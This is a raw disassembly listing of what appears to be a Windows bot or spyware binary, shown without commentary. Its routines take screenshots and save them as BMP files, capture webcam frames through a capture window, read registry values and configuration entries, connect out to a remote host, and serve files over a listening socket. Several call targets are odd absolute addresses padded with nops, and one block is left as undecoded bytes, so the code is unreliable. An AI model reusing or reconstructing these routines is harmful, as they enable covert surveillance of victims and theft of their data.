var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= dword	ptr -26h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 484h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	offset aDisplay	; "DISPLAY"
		call	dword_4CAF60
		mov	edi, eax
		cmp	edi, esi
		mov	[ebp+var_20], edi
		jz	loc_4155F0
		push	8
		push	edi
		call	dword_4CAF7C
		push	0Ah
		push	edi
		mov	[ebp+var_8], eax
		call	dword_4CAF7C
		push	0Ch
		push	edi
		mov	[ebp+var_C], eax
		call	dword_4CAF7C
		cmp	eax, 8
		mov	[ebp+var_10], eax
		ja	short loc_41541E
		push	18h
		push	edi
		call	dword_4CAF7C
		mov	ebx, 100h
		jmp	short loc_415420
; ---------------------------------------------------------------------------


loc_41541E:				; CODE XREF: sub_4153BC+50j
		xor	ebx, ebx


loc_415420:				; CODE XREF: sub_4153BC+60j
		push	edi
		call	dword_4CAFC0
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	loc_4155D5
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_80], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_7C], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_76], ax
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		lea	eax, [ebp+var_84]
		push	1
		push	eax
		push	edi
		mov	[ebp+var_84], 28h
		mov	[ebp+var_78], 1
		mov	[ebp+var_74], esi
		mov	[ebp+var_70], esi
		mov	[ebp+var_6C], esi
		mov	[ebp+var_68], esi
		mov	[ebp+var_64], ebx
		mov	[ebp+var_60], ebx
		call	dword_4CAFB8
		cmp	eax, esi
		mov	[ebp+var_1C], eax
		jz	loc_4155E0
		push	eax
		push	[ebp+var_4]
		call	dword_4CAE44
		cmp	eax, esi
		jz	loc_4155E0
		cmp	eax, 0FFFFFFFFh
		jz	loc_4155E0
		push	0CC0020h
		push	esi
		push	esi
		push	edi
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	esi
		push	esi
		push	[ebp+var_4]
		call	dword_4CAFBC
		test	eax, eax
		jz	loc_4155E0
		cmp	ebx, esi
		jz	short loc_4154DD
		lea	eax, [ebp+var_484]
		push	eax
		push	ebx
		push	esi
		push	[ebp+var_4]
		call	dword_4CAE98
		mov	ebx, eax


loc_4154DD:				; CODE XREF: sub_4153BC+10Bj
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		imul	edi, [ebp+var_C]
		imul	edi, ecx
		mov	eax, ebx
		push	esi
		shr	edi, 3
		shl	eax, 2
		mov	[ebp+var_8], eax
		push	80h
		lea	edx, [eax+edi+36h]
		add	eax, 36h
		push	2
		mov	[ebp+var_26], eax
		mov	eax, [ebp+var_C]
		push	esi
		push	esi
		push	40000000h
		push	[ebp+arg_0]
		mov	[ebp+var_50], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_30], 4D42h
		mov	[ebp+var_2E], edx
		mov	[ebp+var_2A], si
		mov	[ebp+var_28], si
		mov	[ebp+var_58], 28h
		mov	[ebp+var_54], ecx
		mov	[ebp+var_4C], 1
		mov	[ebp+var_4A], ax
		mov	[ebp+var_48], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], esi
		nop
		call	near ptr 26F0867h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_4155C0
		lea	ecx, [ebp+var_14]
		push	esi
		push	ecx
		lea	ecx, [ebp+var_30]
		push	0Eh
		push	ecx
		push	eax
		nop
		call	near ptr 26E0000h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 26E0000h
		cmp	ebx, esi
		jz	short loc_4155A2
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_484]
		push	[ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 26E0000h


loc_4155A2:				; CODE XREF: sub_4153BC+1CCj
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	edi
		push	[ebp+var_18]
		push	[ebp+arg_0]
		nop
		call	near ptr 26E0000h
		push	[ebp+arg_0]
		nop
		call	near ptr 265092Ah
		push	1
		pop	esi


loc_4155C0:				; CODE XREF: sub_4153BC+1A2j
		push	[ebp+var_1C]
		call	dword_4CAED0
		push	[ebp+var_4]
		call	dword_4CAE30
		mov	edi, [ebp+var_20]


loc_4155D5:				; CODE XREF: sub_4153BC+70j
		push	edi
		call	dword_4CAE30
		mov	eax, esi
		jmp	short loc_4155F2
; ---------------------------------------------------------------------------


loc_4155E0:				; CODE XREF: sub_4153BC+C7j
					; sub_4153BC+D9j ...
		push	edi
		call	dword_4CAE30
		push	[ebp+var_4]
		call	dword_4CAE30


loc_4155F0:				; CODE XREF: sub_4153BC+23j
		xor	eax, eax


loc_4155F2:				; CODE XREF: sub_4153BC+222j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4153BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4155F7	proc near		; CODE XREF: sub_401ACD+7476p

var_34		= byte ptr -34h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D2BA0
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4CAEC4
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp+var_4], edi
		jnz	short loc_415635
		mov	eax, esi
		jmp	loc_4157EB
; ---------------------------------------------------------------------------


loc_415635:				; CODE XREF: sub_4155F7+35j
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_415652
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4CAFD0
		jmp	short loc_415654
; ---------------------------------------------------------------------------


loc_415652:				; CODE XREF: sub_4155F7+47j
		xor	eax, eax


loc_415654:				; CODE XREF: sub_4155F7+59j
		cmp	eax, ebx
		jnz	short loc_41565F


loc_415658:				; CODE XREF: sub_4155F7+88j
					; sub_4155F7+BCj
		mov	ebx, esi
		jmp	loc_4157E0
; ---------------------------------------------------------------------------


loc_41565F:				; CODE XREF: sub_4155F7+5Fj
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_41567C
		lea	eax, [ebp+var_34]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4CAFD0


loc_41567C:				; CODE XREF: sub_4155F7+71j
		cmp	[ebp+var_20], ebx
		jz	short loc_415658
		push	edi
		call	dword_4CAF14
		test	eax, eax
		mov	edi, 42Ch
		jz	short loc_4156A2
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		call	dword_4CAFD0
		mov	[ebp+arg_4], eax
		jmp	short loc_4156A5
; ---------------------------------------------------------------------------


loc_4156A2:				; CODE XREF: sub_4155F7+98j
		mov	[ebp+arg_4], ebx


loc_4156A5:				; CODE XREF: sub_4155F7+A9j
		push	[ebp+arg_4]
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jz	short loc_415658
		push	[ebp+arg_4]
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4156CC
		push	1
		pop	ebx
		jmp	loc_4157E0
; ---------------------------------------------------------------------------


loc_4156CC:				; CODE XREF: sub_4155F7+CBj
		push	[ebp+var_4]
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4156E9
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CAFD0


loc_4156E9:				; CODE XREF: sub_4155F7+E0j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	esi
		call	sub_41C310
		mov	ecx, [ebp+arg_8]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_415704
		mov	ecx, 280h


loc_415704:				; CODE XREF: sub_4155F7+106j
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jg	short loc_415710
		mov	eax, 1E0h


loc_415710:				; CODE XREF: sub_4155F7+112j
		push	[ebp+var_4]
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4CAF14
		test	eax, eax
		mov	edi, 42Dh
		jz	short loc_41575A
		push	esi
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CAFD0


loc_41575A:				; CODE XREF: sub_4155F7+153j
		push	[ebp+var_4]
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_415777
		push	ebx
		push	ebx
		push	43Dh
		push	[ebp+var_4]
		call	dword_4CAFD0


loc_415777:				; CODE XREF: sub_4155F7+16Ej
		push	[ebp+var_4]
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_415796
		push	[ebp+arg_0]
		push	ebx
		push	419h
		push	[ebp+var_4]
		call	dword_4CAFD0


loc_415796:				; CODE XREF: sub_4155F7+18Bj
		push	[ebp+var_4]
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4157B3
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CAFD0


loc_4157B3:				; CODE XREF: sub_4155F7+1AAj
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4157E0
		push	ebx
		push	ebx
		push	40Bh
		push	[ebp+var_4]
		call	dword_4CAFD0


loc_4157E0:				; CODE XREF: sub_4155F7+63j
					; sub_4155F7+D0j ...
		push	[ebp+var_4]
		call	dword_4CB024
		mov	eax, ebx


loc_4157EB:				; CODE XREF: sub_4155F7+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4155F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4157F0	proc near		; CODE XREF: sub_401ACD+752Ep

var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D2BA0
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4CAEC4
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_41582E
		mov	eax, esi
		jmp	loc_415A2A
; ---------------------------------------------------------------------------


loc_41582E:				; CODE XREF: sub_4157F0+35j
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_41584B
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4CAFD0
		jmp	short loc_41584D
; ---------------------------------------------------------------------------


loc_41584B:				; CODE XREF: sub_4157F0+47j
		xor	eax, eax


loc_41584D:				; CODE XREF: sub_4157F0+59j
		cmp	eax, ebx
		jnz	short loc_415858


loc_415851:				; CODE XREF: sub_4157F0+8Bj
					; sub_4157F0+BCj
		mov	ebx, esi
		jmp	loc_415A21
; ---------------------------------------------------------------------------


loc_415858:				; CODE XREF: sub_4157F0+5Fj
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_415878
		lea	eax, [ebp+var_90]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4CAFD0


loc_415878:				; CODE XREF: sub_4157F0+71j
		cmp	[ebp+var_7C], ebx
		jz	short loc_415851
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_41589B
		push	ebx
		push	ebx
		push	42Ch
		push	edi
		call	dword_4CAFD0
		mov	[ebp+arg_4], eax
		jmp	short loc_41589E
; ---------------------------------------------------------------------------


loc_41589B:				; CODE XREF: sub_4157F0+96j
		mov	[ebp+arg_4], ebx


loc_41589E:				; CODE XREF: sub_4157F0+A9j
		push	[ebp+arg_4]
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_415851
		push	[ebp+arg_4]
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4158C5
		push	1
		pop	ebx
		jmp	loc_415A21
; ---------------------------------------------------------------------------


loc_4158C5:				; CODE XREF: sub_4157F0+CBj
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4158E2
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Ch
		push	edi
		call	dword_4CAFD0


loc_4158E2:				; CODE XREF: sub_4157F0+DEj
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	esi
		call	sub_41C310
		mov	ecx, [ebp+arg_C]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_4158FD
		mov	ecx, 0A0h


loc_4158FD:				; CODE XREF: sub_4157F0+106j
		mov	eax, [ebp+arg_10]
		cmp	eax, ebx
		jg	short loc_415907
		push	78h
		pop	eax


loc_415907:				; CODE XREF: sub_4157F0+112j
		push	edi
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_41594C
		push	esi
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4CAFD0


loc_41594C:				; CODE XREF: sub_4157F0+14Aj
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_415969
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	441h
		push	edi
		call	dword_4CAFD0


loc_415969:				; CODE XREF: sub_4157F0+165j
		push	edi
		mov	[ebp+var_60], ebx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], 1
		mov	[ebp+var_2C], 5
		mov	[ebp+var_64], 1046Ah
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4159A7
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	440h
		push	edi
		call	dword_4CAFD0


loc_4159A7:				; CODE XREF: sub_4157F0+1A3j
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4159C2
		push	[ebp+arg_0]
		push	ebx
		push	414h
		push	edi
		call	dword_4CAFD0


loc_4159C2:				; CODE XREF: sub_4157F0+1C0j
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4159DB
		push	ebx
		push	ebx
		push	43Eh
		push	edi
		call	dword_4CAFD0


loc_4159DB:				; CODE XREF: sub_4157F0+1DBj
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4159F8
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4CAFD0


loc_4159F8:				; CODE XREF: sub_4157F0+1F4j
		push	[ebp+var_4]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_415A21
		push	ebx
		push	ebx
		push	40Bh
		push	edi
		call	dword_4CAFD0


loc_415A21:				; CODE XREF: sub_4157F0+63j
					; sub_4157F0+D0j ...
		push	edi
		call	dword_4CB024
		mov	eax, ebx


loc_415A2A:				; CODE XREF: sub_4157F0+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4157F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415A2F	proc near		; CODE XREF: sub_401ACD+25F1p

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	off_4361F4, ebx
		mov	[ebp+var_C], 80h
		jz	loc_415BD0
		push	esi
		push	edi
		mov	eax, offset off_4361F4
		mov	esi, offset dword_436200
		mov	edi, offset dword_4373F8


loc_415A5F:				; CODE XREF: sub_415A2F+199j
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	dword_4CAFE4
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	dword_4CAE74
		test	eax, eax
		jnz	loc_415BB6
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_415B7A
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset dword_4293BC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_41B4C2
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_415BB6
		push	eax


loc_415AD8:				; CODE XREF: sub_415A2F+D4j
		lea	eax, [ebp+var_70]
		push	64h
		push	eax
		call	sub_41BB4F
		add	esp, 0Ch
		test	eax, eax
		jz	loc_415B6F
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B05
		push	[ebp+var_8]
		jmp	short loc_415AD8
; ---------------------------------------------------------------------------


loc_415B05:				; CODE XREF: sub_415A2F+CFj
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B33
		lea	eax, [ebp+var_70]
		push	offset asc_4373F4 ; "="
		push	eax
		call	sub_41C0F4
		push	offset asc_4373F4 ; "="
		push	ebx
		call	sub_41C0F4
		add	esp, 10h
		jmp	short loc_415B36
; ---------------------------------------------------------------------------


loc_415B33:				; CODE XREF: sub_415A2F+E4j
		lea	eax, [ebp+var_70]


loc_415B36:				; CODE XREF: sub_415A2F+102j
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_2F0]
		push	ebx
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4151AC
		add	esp, 18h


loc_415B6F:				; CODE XREF: sub_415A2F+B9j
		push	[ebp+var_8]
		call	sub_41B05B
		pop	ecx
		jmp	short loc_415BB6
; ---------------------------------------------------------------------------


loc_415B7A:				; CODE XREF: sub_415A2F+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4151AC
		add	esp, 28h


loc_415BB6:				; CODE XREF: sub_415A2F+60j
					; sub_415A2F+A2j ...
		push	[ebp+var_4]
		call	dword_4CAF50
		add	esi, 18h
		cmp	[esi-0Ch], ebx
		lea	eax, [esi-0Ch]
		jnz	loc_415A5F
		pop	edi
		pop	esi


loc_415BD0:				; CODE XREF: sub_415A2F+19j
		pop	ebx
		leave
		retn
sub_415A2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415BD3	proc near		; CODE XREF: ___:00416278p

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CAFF4
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_415C4F
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CAF74
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CAFB4
		cmp	eax, esi
		jnz	short loc_415C34
		push	[ebp+arg_0]
		call	dword_4CAFF8
		test	eax, eax
		jz	short loc_415C4F
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_415C34:				; CODE XREF: sub_415BD3+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CAF1C
		cmp	eax, esi
		jnz	short loc_415C53
		push	edi
		call	dword_4CB00C


loc_415C4F:				; CODE XREF: sub_415BD3+1Bj
					; sub_415BD3+58j
		mov	eax, esi
		jmp	short loc_415C55
; ---------------------------------------------------------------------------


loc_415C53:				; CODE XREF: sub_415BD3+73j
		mov	eax, edi


loc_415C55:				; CODE XREF: sub_415BD3+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_415BD3	endp

; ---------------------------------------------------------------------------
byte_415C59	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+A1Eo
		dd 11B4B8h, 5EBAE800h, 458B0000h, 57565308h, 0F08B6D6Ah
		dd 4CBD8D59h, 0F3FFFFFEh, 5E016AA5h, 89EC75FFh,	1B0B0h
		dd 54858D00h, 50FFFFFEh, 0FFFF42E8h, 59D88BFFh,	59FFFB83h
		dd 858D5275h, 0FFFFEE4Ch, 43747468h, 0DBE85000h, 3300005Bh
		dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh,	8D50F475h
		dd 0FFFF6C85h, 0E85350FFh, 0FFFF3DA6h, 8D14C483h, 0FFEE4C85h
		dd 0D1E850FFh, 0FFFFFFF4h, 2FE8F075h, 59FFFF57h, 15E85659h
		dd 90022BA3h, 43D12868h, 6DE85300h, 5900003Fh, 59FFF883h
		dd 858D5975h, 0FFFFEE4Ch, 43744468h, 77E85000h,	3300005Bh
		dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh,	8D50F475h
		dd 0FFFF6C85h, 0E85350FFh, 0FFFF3D42h, 8D14C483h, 0FFEE4C85h
		dd 6DE850FFh, 59FFFFF4h, 0C15FF53h, 0FF004CB0h,	0C3E8F075h
		dd 59FFFF56h, 0A2AAE856h, 6A90022Bh, 54E89064h,	330225A8h
		dd 1000BEFFh, 8D560000h, 0FFEE4C85h, 0E85057FFh, 581Ch
		dd 8D0CC483h, 0FFEE4C85h, 505657FFh, 8C15FF53h,	85004CAFh
		dd 8D387EC0h, 0FFEE4C85h, 999868FFh, 0E8500042h, 6124h
		dd 0EE4C858Dh, 0E850FFFFh, 3CA8h, 850CC483h, 6A1474C0h
		dd 0FCE89064h, 6A0225A7h, 5580E80Ah, 0C085FFFFh, 8DA37559h
		dd 0FFEE4C85h, 741068FFh, 0E8500043h, 5AB2h, 59F87D39h
		dd 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h,	0FFFFFF6Ch
		dd 7FE85350h, 83FFFF3Ch, 858D14C4h, 0FFFFEE4Ch,	0F3AAE850h
		dd 5359FFFFh, 0B00C15FFh, 75FF004Ch, 5600E8F0h,	5759FFFFh
		dd 2BA1E7E8h
		db 2, 90h
; ---------------------------------------------------------------------------


loc_415E1A:				; DATA XREF: sub_401ACD+7831o
		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1FCh]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp-10h], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp-0Ch], esi
		mov	[ebp-20h], esi
		call	dword_4CAFF4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-18h], edi
		jnz	short loc_415E68
		push	offset unk_437574
		jmp	loc_416021
; ---------------------------------------------------------------------------


loc_415E68:				; CODE XREF: ___:00415E5Cj
		push	10h
		lea	eax, [ebp-30h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-30h], 2
		push	esi
		call	dword_4CAF74
		mov	[ebp-2Eh], ax
		lea	eax, [ebp-30h]
		push	10h
		push	eax
		push	edi
		mov	[ebp-2Ch], esi
		call	dword_4CAFA0
		test	eax, eax
		jz	short loc_415EA6
		push	offset unk_437550
		jmp	loc_416021
; ---------------------------------------------------------------------------


loc_415EA6:				; CODE XREF: ___:00415E9Aj
		lea	eax, [ebp-1Ch]
		mov	dword ptr [ebp-1Ch], 10h
		push	eax
		lea	eax, [ebp-30h]
		push	eax
		push	edi
		call	dword_4CAF18
		push	dword ptr [ebp-2Eh]
		call	dword_4CAEA4
		mov	[ebp-4], eax
		lea	eax, [ebp-1E0h]
		push	eax
		mov	[ebp+8], esi
		call	sub_41AFE0
		pop	ecx


loc_415ED8:				; CODE XREF: ___:00415F09j
		mov	ecx, [ebp+8]
		mov	al, [ebp+ecx-1E0h]
		cmp	al, 20h
		jnz	short loc_415EEB
		push	5Fh
		pop	eax
		jmp	short loc_415EEE
; ---------------------------------------------------------------------------


loc_415EEB:				; CODE XREF: ___:00415EE4j
		movsx	eax, al


loc_415EEE:				; CODE XREF: ___:00415EE9j
		mov	[ebp+ecx-604h],	al
		lea	eax, [ebp-1E0h]
		inc	ecx
		push	eax
		mov	[ebp+8], ecx
		call	sub_41AFE0
		cmp	[ebp+8], eax
		pop	ecx
		jbe	short loc_415ED8
		push	ebx
		push	edi
		call	dword_4CAF9C
		test	eax, eax
		jz	short loc_415F21
		push	offset unk_437474
		jmp	loc_416021
; ---------------------------------------------------------------------------


loc_415F21:				; CODE XREF: ___:00415F15j
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp-1E0h]
		push	80000000h
		push	eax
		call	near ptr 26F0867h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_415F4B
		push	offset unk_437530
		jmp	loc_416021
; ---------------------------------------------------------------------------


loc_415F4B:				; CODE XREF: ___:00415F3Fj
		push	esi
		push	eax
		call	near ptr 2720A09h
		nop
		mov	[ebp+8], eax
		push	eax
		movzx	eax, word ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_40AC0F
		pop	ecx
		push	eax
		call	dword_4CAFB4
		push	eax
		call	dword_4CAF70
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset dword_437518
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-3FCh]
		push	esi
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		add	esp, 2Ch
		lea	eax, [ebp-38h]
		mov	dword ptr [ebp-38h], 3Ch
		mov	[ebp-34h], esi
		push	eax
		push	esi
		lea	eax, [ebp-500h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-4FCh], edi
		mov	[ebp-500h], ebx
		call	dword_4CAF5C
		test	eax, eax
		jg	short loc_415FFB
		push	esi
		lea	eax, [ebp-0DCh]
		push	dword ptr [ebp-54h]
		push	offset dword_437500
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		jmp	loc_41611F
; ---------------------------------------------------------------------------


loc_415FFB:				; CODE XREF: ___:00415FD9j
		lea	eax, [ebp-14h]
		mov	dword ptr [ebp-14h], 10h
		push	eax
		lea	eax, [ebp-48h]
		push	eax
		push	edi
		call	dword_4CB008
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-1F8h], eax
		jnz	short loc_416034
		push	offset unk_4374DC


loc_416021:				; CODE XREF: ___:00415E63j
					; ___:00415EA1j ...
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_41B886
		pop	ecx
